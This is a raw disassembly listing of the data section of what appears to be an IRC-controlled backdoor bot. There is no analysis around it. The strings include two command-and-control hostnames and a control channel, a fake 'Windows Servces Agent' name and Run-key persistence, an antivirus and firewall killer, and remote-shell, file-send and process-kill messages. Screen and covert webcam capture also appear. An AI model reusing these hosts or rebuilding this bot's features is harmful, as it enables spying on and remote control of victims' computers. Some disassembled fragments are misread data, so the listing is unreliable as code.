aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D084o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D084h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D09C	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D09C
		dd offset dword_427E18+4
off_427E40	dd offset off_43D0BC	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D0BC
		dd offset unk_427E68
off_427E8C	dd offset off_43D0DC	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D0DC
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D100	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D100
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D084
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D084
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D09C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D0BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D0DC
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
; ---------------------------------------------------------------------------
		fcmovnb	st, st(3)
		rol	dword ptr [esi-25h], cl
		retn
; ---------------------------------------------------------------------------
		rol	dword ptr [esi-25h], cl
		retn
; ---------------------------------------------------------------------------
		rol	dword ptr [esi-25h], cl
		retn
; ---------------------------------------------------------------------------
		rol	dword ptr [esi-25h], cl
		retn
; ---------------------------------------------------------------------------
		dw 46D3h
		dd 5 dup(7FF3A74Dh), 5 dup(2AC15959h), 7Ah dup(0)
		dd 2AC15959h, 0
		dd 46D3C3DBh, 15h dup(0)
		dd 7FF3A74Dh, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 72657373h, 652E6376h, 6578h
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServces	db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_42913C:				; DATA XREF: ___:0040AD34o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd 0
		dd offset dword_43D128
		dd offset aAdministrato_0 ; "administrator"
		align 10h
dword_429230	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
					; ___:00429228o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4292D0	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429304	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429330	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_429370	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429394	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_4293B0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293BC	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_4293C4	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_4293CC	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429434	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429454	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429474	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_4294C8	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429548:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42954C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_429570	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_429598	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_4295BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_4295E0	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429604	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429628	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429644	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429670	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429694	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4296BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_4296E8	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429710	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429734	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429754	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42977C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4297A4	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4297C4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_4297F4	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429814	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429844	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429868	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_429884	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_4298A8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_4298C0	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429900	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429918	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_429934	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_429954	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42996C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_429998:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42999C	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_4299C0	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_4299E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_429A24	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_429A64	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_429A98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_429AD0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_429B04	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_429B38	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_429B60	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_429B90	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_429BCC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_429BFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_429C30	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_429C4C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_429CA4	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_429CC4	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
